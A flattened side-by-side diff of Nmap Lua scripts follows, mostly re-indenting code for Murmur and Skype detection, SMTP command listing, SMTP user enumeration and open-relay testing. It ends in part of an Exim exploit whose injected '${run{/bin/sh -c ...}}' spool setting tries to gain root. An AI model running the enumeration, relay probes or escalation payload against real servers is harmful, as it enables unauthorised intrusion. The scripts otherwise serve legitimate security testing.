host.registry["murmur-version"] = {} host.registry["murmur-version"] = {}
end end
-- Maybe the script already ran for this port number on another protocol -- Maybe the script already ran for this port number on another protocol
local r = host.registry["murmur-version"][port.number] local r = host.registry["murmur-version"][port.number]
if r == nil then if r == nil then
r = {} r = {}
host.registry["murmur-version"][port.number] = r host.registry["murmur-version"][port.number] = r
local status, result = comm.exchange( local status, result = comm.exchange(
host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 }) host, port.number, "\0\0\0\0abcdefgh", { proto = "udp", timeout = 3000 })
if not status then if not status then
mutex("done") mutex("done")
return return
end
-- UDP port is open
nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
if not string.match(result, "^%z...abcdefgh............$") then
mutex("done")
return
end
-- Detected; extract relevant data
local _
_, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth =
bin.unpack(">CCCLIII", result, 2)
end end
mutex("done") -- UDP port is open
nmap.set_port_state(host, { number = port.number, protocol = "udp" }, "open")
-- If the registry is empty the port was probed but Murmur wasn't detected if not string.match(result, "^%z...abcdefgh............$") then
if next(r) == nil then mutex("done")
return return
end end
port.version.name = "murmur" -- Detected; extract relevant data
port.version.name_confidence = 10 local _
port.version.product = "Murmur" _, r.v_a, r.v_b, r.v_c, _, r.users, r.maxusers, r.bandwidth =
port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c bin.unpack(">CCCLIII", result, 2)
port.version.extrainfo = "; users: " .. r.users .. "; max. users: " .. end
r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
-- Add extra info depending on protocol
if port.protocol == "tcp" then
port.version.extrainfo = "control port" .. port.version.extrainfo
else
port.version.extrainfo = "voice port" .. port.version.extrainfo
end
nmap.set_port_version(host, port, "hardmatched") mutex("done")
-- If the registry is empty the port was probed but Murmur wasn't detected
if next(r) == nil then
return return
end
port.version.name = "murmur"
port.version.name_confidence = 10
port.version.product = "Murmur"
port.version.version = r.v_a .. "." .. r.v_b .. "." .. r.v_c
port.version.extrainfo = "; users: " .. r.users .. "; max. users: " ..
r.maxusers .. "; bandwidth: " .. r.bandwidth .. " b/s"
-- Add extra info depending on protocol
if port.protocol == "tcp" then
port.version.extrainfo = "control port" .. port.version.extrainfo
else
port.version.extrainfo = "voice port" .. port.version.extrainfo
end
nmap.set_port_version(host, port, "hardmatched")
return
end end

View File

@@ -18,36 +18,36 @@ categories = {"version"}
portrule = function(host, port) portrule = function(host, port)
return (port.number == 80 or port.number == 443 or return (port.number == 80 or port.number == 443 or
port.service == nil or port.service == "" or port.service == nil or port.service == "" or
port.service == "unknown") port.service == "unknown")
and port.protocol == "tcp" and port.state == "open" and port.protocol == "tcp" and port.state == "open"
and port.version.name_confidence < 10 and port.version.name_confidence < 10
and not(shortport.port_is_excluded(port.number,port.protocol)) and not(shortport.port_is_excluded(port.number,port.protocol))
end end
action = function(host, port) action = function(host, port)
local status, result = comm.exchange(host, port, local status, result = comm.exchange(host, port,
"GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol}) "GET / HTTP/1.0\r\n\r\n", {bytes=26, proto=port.protocol})
if (not status) then if (not status) then
return return
end end
if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then if (result ~= "HTTP/1.0 404 Not Found\r\n\r\n") then
return return
end end
-- So far so good, now see if we get random data for another request -- So far so good, now see if we get random data for another request
status, result = comm.exchange(host, port, status, result = comm.exchange(host, port,
"random data\r\n\r\n", {bytes=15, proto=port.protocol}) "random data\r\n\r\n", {bytes=15, proto=port.protocol})
if (not status) then if (not status) then
return return
end end
if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then if string.match(result, "[^%s!-~].*[^%s!-~].*[^%s!-~]") then
-- Detected -- Detected
port.version.name = "skype2" port.version.name = "skype2"
port.version.product = "Skype" port.version.product = "Skype"
nmap.set_port_version(host, port) nmap.set_port_version(host, port)
return return
end end
return return
end end

View File

@@ -68,64 +68,64 @@ categories = {"default", "discovery", "safe"}
portrule = shortport.port_or_service({ 25, 465, 587 }, portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" }) { "smtp", "smtps", "submission" })
function go(host, port) function go(host, port)
local options = { local options = {
timeout = 10000, timeout = 10000,
recv_before = true, recv_before = true,
ssl = true, ssl = true,
} }
local domain = stdnse.get_script_args('smtp-commands.domain') or local domain = stdnse.get_script_args('smtp-commands.domain') or
smtp.get_domain(host) smtp.get_domain(host)
local result, status = {} local result, status = {}
-- Try to connect to server. -- Try to connect to server.
local socket, response = smtp.connect(host, port, options) local socket, response = smtp.connect(host, port, options)
if not socket then if not socket then
return false, string.format("Couldn't establish connection on port %i", return false, string.format("Couldn't establish connection on port %i",
port.number) port.number)
end end
status, response = smtp.ehlo(socket, domain) status, response = smtp.ehlo(socket, domain)
if not status then if not status then
return status, response return status, response
end end
response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250- response = string.gsub(response, "250[%-%s]+", "") -- 250 or 250-
response = string.gsub(response, "\r\n", "\n") -- normalize CR LF response = string.gsub(response, "\r\n", "\n") -- normalize CR LF
response = string.gsub(response, "\n\r", "\n") -- normalize LF CR response = string.gsub(response, "\n\r", "\n") -- normalize LF CR
response = string.gsub(response, "^\n+(.-)\n+$", "%1") response = string.gsub(response, "^\n+(.-)\n+$", "%1")
response = string.gsub(response, "\n", ", ") -- LF to comma response = string.gsub(response, "\n", ", ") -- LF to comma
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
table.insert(result,response)
status, response = smtp.help(socket)
if status then
response = string.gsub(response, "214[%-%s]+", "") -- 214
response = string.gsub(response, "^%s+(.-)%s+$", "%1")
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
table.insert(result,response) table.insert(result,response)
smtp.quit(socket)
end
status, response = smtp.help(socket) return true, result
if status then
response = string.gsub(response, "214[%-%s]+", "") -- 214
response = string.gsub(response, "^%s+(.-)%s+$", "%1")
response = string.gsub(response, "%s+", " ") -- get rid of extra spaces
table.insert(result,response)
smtp.quit(socket)
end
return true, result
end end
action = function(host, port) action = function(host, port)
local status, result = go(host, port) local status, result = go(host, port)
-- The go function returned false, this means that the result is a simple error message. -- The go function returned false, this means that the result is a simple error message.
if not status then if not status then
return result return result
else else
if #result > 0 then if #result > 0 then
local final = {} local final = {}
for index, test in ipairs(result) do for index, test in ipairs(result) do
table.insert(final, test) table.insert(final, test)
end end
return stdnse.strjoin("\n ", final) return stdnse.strjoin("\n ", final)
end
end end
end
end end

View File

@@ -54,14 +54,14 @@ categories = {"auth","external","intrusive"}
portrule = shortport.port_or_service({ 25, 465, 587 }, portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" }) { "smtp", "smtps", "submission" })
STATUS_CODES = { STATUS_CODES = {
ERROR = 1, ERROR = 1,
NOTPERMITTED = 2, NOTPERMITTED = 2,
VALID = 3, VALID = 3,
INVALID = 4, INVALID = 4,
UNKNOWN = 5 UNKNOWN = 5
} }
---Counts the number of occurrences in a table. Helper function ---Counts the number of occurrences in a table. Helper function
@@ -71,14 +71,14 @@ STATUS_CODES = {
-- @param what What element to count -- @param what What element to count
-- @return Number of occurrences -- @return Number of occurrences
function table_count(from, what) function table_count(from, what)
local result = 0 local result = 0
for index, item in ipairs(from) do for index, item in ipairs(from) do
if item == what then if item == what then
result = result + 1 result = result + 1
end
end end
return result end
return result
end end
---Creates a new table from a source without the duplicates. Helper ---Creates a new table from a source without the duplicates. Helper
@@ -87,15 +87,15 @@ end
-- @param from Source table -- @param from Source table
-- @return New table without the duplicates -- @return New table without the duplicates
function table_unique(from) function table_unique(from)
local result = {} local result = {}
for index, item in ipairs(from) do for index, item in ipairs(from) do
if (table_count(result, item) == 0) then if (table_count(result, item) == 0) then
result[#result + 1] = item result[#result + 1] = item
end
end end
end
return result return result
end end
---Get the method or methods to be used. If the user didn't specify any ---Get the method or methods to be used. If the user didn't specify any
@@ -103,32 +103,32 @@ end
-- --
-- @return A table containing the methods to try -- @return A table containing the methods to try
function get_method() function get_method()
local result = {} local result = {}
local methods = stdnse.get_script_args('smtp-enum-users.methods') local methods = stdnse.get_script_args('smtp-enum-users.methods')
if methods and type(methods) == "table" then if methods and type(methods) == "table" then
-- For each method specified. -- For each method specified.
for _, method in ipairs(methods) do for _, method in ipairs(methods) do
-- Are the elements of the argument valid methods. -- Are the elements of the argument valid methods.
local upper = string.upper(method) local upper = string.upper(method)
if (upper == "RCPT") or (upper == "EXPN") or if (upper == "RCPT") or (upper == "EXPN") or
(upper == "VRFY") then (upper == "VRFY") then
table.insert(result, upper) table.insert(result, upper)
else else
return false, method return false, method
end end
end
end end
end
-- The methods weren't specified. -- The methods weren't specified.
if #result == 0 then if #result == 0 then
result = { "RCPT", "VRFY", "EXPN" } result = { "RCPT", "VRFY", "EXPN" }
else else
result = table_unique(result) result = table_unique(result)
end end
return true, result return true, result
end end
---Generic function to perform user discovery. ---Generic function to perform user discovery.
@@ -139,44 +139,44 @@ end
-- @param domain Domain to use in the command -- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message -- @return Status and depending on the code, a error message
function do_gnrc(socket, command, username, domain) function do_gnrc(socket, command, username, domain)
local combinations = { local combinations = {
string.format("%s", username), string.format("%s", username),
string.format("%s@%s", username, domain) string.format("%s@%s", username, domain)
} }
for index, combination in ipairs(combinations) do for index, combination in ipairs(combinations) do
-- Lets try to issue the command. -- Lets try to issue the command.
local status, response = smtp.query(socket, command, combination) local status, response = smtp.query(socket, command, combination)
-- If this command fails to be sent, then something -- If this command fails to be sent, then something
-- went wrong with the connection. -- went wrong with the connection.
if not status then if not status then
return STATUS_CODES.ERROR, return STATUS_CODES.ERROR,
string.format("Failed to issue %s %s command (%s)\n", string.format("Failed to issue %s %s command (%s)\n",
command, combination, response) command, combination, response)
end
if string.match(response, "^530") then
-- If the command failed, check if authentication is
-- needed because all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif string.match(response, "^502") or
string.match(response, "^252") or
string.match(response, "^550") then
-- The server doesn't implement the command or it is disallowed.
return STATUS_CODES.NOTPERMITTED
elseif smtp.check_reply(command, response) then
-- User accepted.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID,
string.format("%s, %s", command, username)
else
return STATUS_CODES.VALID, username
end
end
end end
return STATUS_CODES.INVALID if string.match(response, "^530") then
-- If the command failed, check if authentication is
-- needed because all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif string.match(response, "^502") or
string.match(response, "^252") or
string.match(response, "^550") then
-- The server doesn't implement the command or it is disallowed.
return STATUS_CODES.NOTPERMITTED
elseif smtp.check_reply(command, response) then
-- User accepted.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID,
string.format("%s, %s", command, username)
else
return STATUS_CODES.VALID, username
end
end
end
return STATUS_CODES.INVALID
end end
---Verify if a username is valid using the EXPN command (wrapper ---Verify if a username is valid using the EXPN command (wrapper
@@ -187,7 +187,7 @@ end
-- @param domain Domain to use in the command -- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message -- @return Status and depending on the code, a error message
function do_expn(socket, username, domain) function do_expn(socket, username, domain)
return do_gnrc(socket, "EXPN", username, domain) return do_gnrc(socket, "EXPN", username, domain)
end end
---Verify if a username is valid using the VRFY command (wrapper ---Verify if a username is valid using the VRFY command (wrapper
@@ -198,7 +198,7 @@ end
-- @param domain Domain to use in the command -- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message -- @return Status and depending on the code, a error message
function do_vrfy(socket, username, domain) function do_vrfy(socket, username, domain)
return do_gnrc(socket, "VRFY", username, domain) return do_gnrc(socket, "VRFY", username, domain)
end end
issued_from = false issued_from = false
@@ -214,59 +214,59 @@ issued_from = false
-- @param domain Domain to use in the command -- @param domain Domain to use in the command
-- @return Status and depending on the code, a error message -- @return Status and depending on the code, a error message
function do_rcpt(socket, username, domain) function do_rcpt(socket, username, domain)
local status, response local status, response
if not issued_from then if not issued_from then
-- Lets try to issue MAIL FROM command. -- Lets try to issue MAIL FROM command.
status, response = smtp.query(socket, "MAIL", status, response = smtp.query(socket, "MAIL",
string.format("FROM:<usertest@%s>", domain)) string.format("FROM:<usertest@%s>", domain))
if not status then if not status then
-- If this command fails to be sent, then something went wrong -- If this command fails to be sent, then something went wrong
-- with the connection. -- with the connection.
return STATUS_CODES.ERROR, return STATUS_CODES.ERROR,
string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)", string.format("Failed to issue MAIL FROM:<usertest@%s> command (%s)",
domain, response) domain, response)
elseif string.match(response, "^530") then
-- If the command failed, check if authentication is needed
-- because all the other attempts will fail.
return STATUS_CODES.ERROR,
"Couldn't perform user enumeration, authentication needed"
elseif not smtp.check_reply("MAIL", response) then
-- Only accept 250 code as success.
return STATUS_CODES.NOTPERMITTED,
"Server did not accept the MAIL FROM command"
end
end
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s@%s>", username, domain))
if not status then
return STATUS_CODES.ERROR,
string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
username, domain, response)
elseif string.match(response, "^550") then
-- 550 User Unknown
return STATUS_CODES.UNKNOWN
elseif string.match(response, "^553") then
-- 553 Relaying Denied
return STATUS_CODES.NOTPERMITTED
elseif string.match(response, "^530") then elseif string.match(response, "^530") then
-- If the command failed, check if authentication is needed because -- If the command failed, check if authentication is needed
-- all the other attempts will fail. -- because all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION return STATUS_CODES.ERROR,
elseif smtp.check_reply("RCPT", response) then "Couldn't perform user enumeration, authentication needed"
issued_from = true elseif not smtp.check_reply("MAIL", response) then
-- User is valid. -- Only accept 250 code as success.
if nmap.verbosity() > 1 then return STATUS_CODES.NOTPERMITTED,
return STATUS_CODES.VALID, string.format("RCPT, %s", username) "Server did not accept the MAIL FROM command"
else
return STATUS_CODES.VALID, username
end
end end
end
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s@%s>", username, domain))
if not status then
return STATUS_CODES.ERROR,
string.format("Failed to issue RCPT TO:<%s@%s> command (%s)",
username, domain, response)
elseif string.match(response, "^550") then
-- 550 User Unknown
return STATUS_CODES.UNKNOWN
elseif string.match(response, "^553") then
-- 553 Relaying Denied
return STATUS_CODES.NOTPERMITTED
elseif string.match(response, "^530") then
-- If the command failed, check if authentication is needed because
-- all the other attempts will fail.
return STATUS_CODES.AUTHENTICATION
elseif smtp.check_reply("RCPT", response) then
issued_from = true issued_from = true
return STATUS_CODES.INVALID -- User is valid.
if nmap.verbosity() > 1 then
return STATUS_CODES.VALID, string.format("RCPT, %s", username)
else
return STATUS_CODES.VALID, username
end
end
issued_from = true
return STATUS_CODES.INVALID
end end
---Script function that does all the work. ---Script function that does all the work.
@@ -275,108 +275,108 @@ end
-- @param port Target port -- @param port Target port
-- @return The user accounts or a error message. -- @return The user accounts or a error message.
function go(host, port) function go(host, port)
-- Get the current usernames list from the file. -- Get the current usernames list from the file.
local status, nextuser = unpwdb.usernames() local status, nextuser = unpwdb.usernames()
if not status then if not status then
return false, "Failed to read the user names database" return false, "Failed to read the user names database"
end
local options = {
timeout = 10000,
recv_before = true,
ssl = true,
}
local domain = stdnse.get_script_args('smtp-enum-users.domain') or
smtp.get_domain(host)
local methods
status, methods = get_method()
if not status then
return false, string.format("Invalid method found, %s", methods)
end
local socket, response = smtp.connect(host, port, options)
-- Failed connection attempt.
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
local result = {}
-- This function is used when something goes wrong with
-- the connection. It makes sure that if it found users before
-- the error occurred, they will be returned.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end
end
-- Get the first user to be tested.
local username = nextuser()
for index, method in ipairs(methods) do
while username do
if method == "RCPT" then
status, response = do_rcpt(socket, username, domain)
elseif method == "VRFY" then
status, response = do_vrfy(socket, username, domain)
elseif method == "EXPN" then
status, response = do_expn(socket, username, domain)
end
if status == STATUS_CODES.NOTPERMITTED then
-- Invalid method. Don't test anymore users with
-- the current method.
break
elseif status == STATUS_CODES.VALID then
-- User found, lets save it.
table.insert(result, response)
elseif status == STATUS_CODES.ERROR then
-- An error occurred with the connection.
return failure(response)
elseif status == STATUS_CODES.AUTHENTICATION then
smtp.quit(socket)
return false, "Couldn't perform user enumeration, authentication needed"
elseif status == STATUS_CODES.INVALID then
table.insert(result,
string.format("Method %s returned a unhandled status code.",
method))
break
end
username = nextuser()
end end
local options = { -- No more users to test, don't test with other methods.
timeout = 10000, if username == nil then
recv_before = true, break
ssl = true,
}
local domain = stdnse.get_script_args('smtp-enum-users.domain') or
smtp.get_domain(host)
local methods
status, methods = get_method()
if not status then
return false, string.format("Invalid method found, %s", methods)
end end
end
local socket, response = smtp.connect(host, port, options) smtp.quit(socket)
return true, result
-- Failed connection attempt.
if not socket then
return false, string.format("Couldn't establish connection on port %i",
port.number)
end
status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
local result = {}
-- This function is used when something goes wrong with
-- the connection. It makes sure that if it found users before
-- the error occurred, they will be returned.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end
end
-- Get the first user to be tested.
local username = nextuser()
for index, method in ipairs(methods) do
while username do
if method == "RCPT" then
status, response = do_rcpt(socket, username, domain)
elseif method == "VRFY" then
status, response = do_vrfy(socket, username, domain)
elseif method == "EXPN" then
status, response = do_expn(socket, username, domain)
end
if status == STATUS_CODES.NOTPERMITTED then
-- Invalid method. Don't test anymore users with
-- the current method.
break
elseif status == STATUS_CODES.VALID then
-- User found, lets save it.
table.insert(result, response)
elseif status == STATUS_CODES.ERROR then
-- An error occurred with the connection.
return failure(response)
elseif status == STATUS_CODES.AUTHENTICATION then
smtp.quit(socket)
return false, "Couldn't perform user enumeration, authentication needed"
elseif status == STATUS_CODES.INVALID then
table.insert(result,
string.format("Method %s returned a unhandled status code.",
method))
break
end
username = nextuser()
end
-- No more users to test, don't test with other methods.
if username == nil then
break
end
end
smtp.quit(socket)
return true, result
end end
action = function(host, port) action = function(host, port)
local status, result = go(host, port) local status, result = go(host, port)
-- The go function returned true, lets check if it -- The go function returned true, lets check if it
-- didn't found any accounts. -- didn't found any accounts.
if status and #result == 0 then if status and #result == 0 then
return stdnse.format_output(true, "Couldn't find any accounts") return stdnse.format_output(true, "Couldn't find any accounts")
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -79,210 +79,210 @@ categories = {"discovery","intrusive","external"}
portrule = shortport.port_or_service({ 25, 465, 587 }, portrule = shortport.port_or_service({ 25, 465, 587 },
{ "smtp", "smtps", "submission" }) { "smtp", "smtps", "submission" })
---Gets the user specified parameters to be used in the tests. ---Gets the user specified parameters to be used in the tests.
-- --
--@param host Target host (used for the ip parameter default value) --@param host Target host (used for the ip parameter default value)
--@return Domain, from, to and ip to be used in the tests --@return Domain, from, to and ip to be used in the tests
function get_parameters(host) function get_parameters(host)
-- call smtp.get_domain() without the host table to use the -- call smtp.get_domain() without the host table to use the
-- 'nmap.scanme.org' host name, we are scanning for open relays. -- 'nmap.scanme.org' host name, we are scanning for open relays.
local domain = stdnse.get_script_args('smtp-open-relay.domain') or local domain = stdnse.get_script_args('smtp-open-relay.domain') or
smtp.get_domain() smtp.get_domain()
local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam" local from = stdnse.get_script_args('smtp-open-relay.from') or "antispam"
local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest" local to = stdnse.get_script_args('smtp-open-relay.to') or "relaytest"
local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip local ip = stdnse.get_script_args('smtp-open-relay.ip') or host.ip
return domain, from, to, ip return domain, from, to, ip
end end
function go(host, port) function go(host, port)
local options = { local options = {
timeout = 10000, timeout = 10000,
recv_before = true, recv_before = true,
ssl = true, ssl = true,
} }
local result, status, index = {} local result, status, index = {}
local domain, from, to, ip = get_parameters(host) local domain, from, to, ip = get_parameters(host)
local socket, response = smtp.connect(host, port, options) local socket, response = smtp.connect(host, port, options)
if not socket then if not socket then
return false, string.format("Couldn't establish connection on port %i", return false, string.format("Couldn't establish connection on port %i",
port.number) port.number)
end
local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)")
local status, response = smtp.ehlo(socket, domain)
if not status then
return status, response
end
if not srvname then
srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)")
end
-- Antispam tests.
local tests = {
{
from = "",
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@%s", from, domain),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@%s", from, srvname),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s%%%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@[%s]:%s@%s", ip, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@%s:%s@%s", srvname, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s", domain, to)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@[%s]", domain, to, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@%s", domain, to, srvname)
},
}
-- This function is used when something goes wrong with the connection.
-- It makes sure that if it found working combinations before the error
-- occurred, they will be returned. If the debug flag is enabled the
-- error message will be appended to the combinations list.
local failure = function(message)
if #result > 0 then
table.insert(result, message)
return true, result
else
return false, message
end end
end
local srvname = string.match(response, "%d+%s([%w]+[%w%.-]*)") for index = 1, #tests do
status, response = smtp.reset(socket)
local status, response = smtp.ehlo(socket, domain)
if not status then if not status then
return status, response if string.match(response, "530") then
return false, "Server isn't an open relay, authentication needed"
end
return failure(response)
end end
if not srvname then status, response = smtp.query(socket, "MAIL",
srvname = string.match(response, "%d+%-([%w]+[%w%.-]*)") string.format("FROM:<%s>",
tests[index]["from"]))
-- If this command fails to be sent, then something went
-- wrong with the connection.
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["from"], response))
end end
-- Antispam tests. if string.match(response, "530") then
local tests = { smtp.quit(socket)
{ return false, "Server isn't an open relay, authentication needed"
from = "", elseif smtp.check_reply("MAIL", response) then
to = string.format("%s@%s", to, domain) -- Lets try to actually relay.
}, status, response = smtp.query(socket, "RCPT",
{ string.format("TO:<%s>",
from = string.format("%s@%s", from, domain), tests[index]["to"]))
to = string.format("%s@%s", to, domain) if not status then
}, return failure(string.format("Failed to issue %s command (%s)",
{ tests[index]["to"], response))
from = string.format("%s@%s", from, srvname), end
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s%%%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s%%%s\"", to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("\"%s@%s\"@[%s]", to, domain, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s@%s@%s", to, domain, srvname)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@[%s]:%s@%s", ip, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("@%s:%s@%s", srvname, to, domain)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s", domain, to)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@[%s]", domain, to, ip)
},
{
from = string.format("%s@[%s]", from, ip),
to = string.format("%s!%s@%s", domain, to, srvname)
},
}
-- This function is used when something goes wrong with the connection. if string.match(response, "530") then
-- It makes sure that if it found working combinations before the error smtp.quit(socket)
-- occurred, they will be returned. If the debug flag is enabled the return false, "Server isn't an open relay, authentication needed"
-- error message will be appended to the combinations list. elseif smtp.check_reply("RCPT", response) then
local failure = function(message) -- Save the working from and to combination.
if #result > 0 then table.insert(result,
table.insert(result, message) string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
return true, result tests[index]["from"], tests[index]["to"]))
else end
return false, message
end
end end
end
for index = 1, #tests do smtp.quit(socket)
status, response = smtp.reset(socket) return true, result
if not status then
if string.match(response, "530") then
return false, "Server isn't an open relay, authentication needed"
end
return failure(response)
end
status, response = smtp.query(socket, "MAIL",
string.format("FROM:<%s>",
tests[index]["from"]))
-- If this command fails to be sent, then something went
-- wrong with the connection.
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["from"], response))
end
if string.match(response, "530") then
smtp.quit(socket)
return false, "Server isn't an open relay, authentication needed"
elseif smtp.check_reply("MAIL", response) then
-- Lets try to actually relay.
status, response = smtp.query(socket, "RCPT",
string.format("TO:<%s>",
tests[index]["to"]))
if not status then
return failure(string.format("Failed to issue %s command (%s)",
tests[index]["to"], response))
end
if string.match(response, "530") then
smtp.quit(socket)
return false, "Server isn't an open relay, authentication needed"
elseif smtp.check_reply("RCPT", response) then
-- Save the working from and to combination.
table.insert(result,
string.format("MAIL FROM:<%s> -> RCPT TO:<%s>",
tests[index]["from"], tests[index]["to"]))
end
end
end
smtp.quit(socket)
return true, result
end end
action = function(host, port) action = function(host, port)
local status, result = go(host, port) local status, result = go(host, port)
-- The go function returned false, this means that the result is -- The go function returned false, this means that the result is
-- a simple error message. -- a simple error message.
if not status then if not status then
return result return result
else else
-- Combinations were found. If verbosity is active, the script -- Combinations were found. If verbosity is active, the script
-- will print all the successful tests. Otherwise it will only -- will print all the successful tests. Otherwise it will only
-- print the conclusion. -- print the conclusion.
if #result > 0 then if #result > 0 then
local final = {} local final = {}
table.insert(final, table.insert(final,
string.format("Server is an open relay (%i/16 tests)", string.format("Server is an open relay (%i/16 tests)",
(#result))) (#result)))
if nmap.verbosity() > 1 then if nmap.verbosity() > 1 then
for index, test in ipairs(result) do for index, test in ipairs(result) do
table.insert(final, test) table.insert(final, test)
end
end
return stdnse.strjoin("\n ", final)
end end
end
return "Server doesn't seem to be an open relay, all tests failed" return stdnse.strjoin("\n ", final)
end end
return "Server doesn't seem to be an open relay, all tests failed"
end
end end

View File

@@ -75,7 +75,7 @@ categories = {"exploit", "intrusive", "vuln"}
portrule = shortport.port_or_service({25, 465, 587}, portrule = shortport.port_or_service({25, 465, 587},
{"smtp", "smtps", "submission"}) {"smtp", "smtps", "submission"})
local function smtp_finish(socket, status, msg) local function smtp_finish(socket, status, msg)
if socket then if socket then
@@ -109,21 +109,21 @@ local function escalate_privs(socket, smtp_opts)
local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF)) local tmp_file = "/tmp/nmap"..tostring(math.random(0x0FFFFF, 0x7FFFFFFF))
local exim_run = "exim -C"..tmp_file.." -q" local exim_run = "exim -C"..tmp_file.." -q"
local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > ".. local exim_spool = "spool_directory = \\${run{/bin/sh -c 'id > "..
tmp_file.."' }}" tmp_file.."' }}"
stdnse.print_debug(2, "%s: trying to escalate privileges", stdnse.print_debug(2, "%s: trying to escalate privileges",
SCRIPT_NAME) SCRIPT_NAME)
local status, ret = send_recv(socket, "id\n") local status, ret = send_recv(socket, "id\n")
if not status then if not status then
return status, ret return status, ret
end end
results = string.format(" Before 'id': %s", results = string.format(" Before 'id': %s",
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
status, ret = send_recv(socket, status, ret = send_recv(socket,
string.format("cat > %s << EOF\n", string.format("cat > %s << EOF\n",
tmp_file)) tmp_file))
if not status then if not status then
return status, ret return status, ret
end end
@@ -144,10 +144,10 @@ local function escalate_privs(socket, smtp_opts)
elseif ret:match("uid=0%(root%)") then elseif ret:match("uid=0%(root%)") then
exploited = true exploited = true
results = results..string.format("\n After 'id': %s", results = results..string.format("\n After 'id': %s",
string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1")) string.gsub(ret, "^%$*%s*(.-)\n*%$*$", "%1"))
stdnse.print_debug(2, stdnse.print_debug(2,
"%s: successfully exploited the Exim privileges escalation.", "%s: successfully exploited the Exim privileges escalation.",
SCRIPT_NAME) SCRIPT_NAME)
end end
-- delete tmp file, should we care about this ? -- delete tmp file, should we care about this ?
@@ -164,7 +164,7 @@ local function exploit_heap(socket, smtp_opts)
local exploited, ret = false, "" local exploited, ret = false, ""
stdnse.print_debug(2, "%s: exploiting the heap overflow", stdnse.print_debug(2, "%s: exploiting the heap overflow",
SCRIPT_NAME) SCRIPT_NAME)
local status, response = smtp.mail(socket, smtp_opts.mailfrom) local status, response = smtp.mail(socket, smtp_opts.mailfrom)
if not status then if not status then
